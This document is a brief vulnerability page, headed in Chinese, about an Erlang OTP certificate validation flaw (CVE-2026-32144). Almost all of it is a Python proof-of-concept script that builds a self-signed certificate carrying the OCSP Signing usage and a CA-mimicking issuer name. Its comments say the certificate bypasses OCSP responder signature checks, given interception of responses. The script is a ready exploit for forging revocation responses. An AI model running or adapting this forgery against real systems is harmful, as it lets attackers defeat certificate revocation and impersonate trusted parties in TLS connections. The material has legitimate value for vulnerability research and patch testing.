CVE-2026-32144: Erlang OTP证书验证不当漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-32144 Generates a forged OCSP Responder Certificate to bypass signature verification. Note: This requires control over the OCSP response or interception capabilities. """ from cryptography import x509 from cryptography.x509.oid import NameOID, ExtensionOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import datetime # Generate a private key for the forged responder key = rsa.generate_private_key( public_exponent=65537, key_size=2048, ) # Extract the Subject Name from the target CA to mimic as Issuer # In a real attack, this would match the actual CA's Subject ca_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Fake CA")]) # Create the forged responder certificate # The key exploit is setting the Issuer to the CA's Name without a real signature subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Forged OCSP Responder")]) cert = ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(ca_name) # Impersonating the CA as Issuer .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) # Add the OCSPSigning EKU which is checked, but signature is not .add_extension( x509.ExtendedKeyUsage([x509.ObjectIdentifier("1.3.6.1.5.5.7.3.9")]), # OCSP Signing critical=False, ) .sign(key, hashes.SHA256()) # Self-signed ) print("Forged Responder Certificate Created:") print(cert.public_bytes(serialization.Encoding.PEM).decode())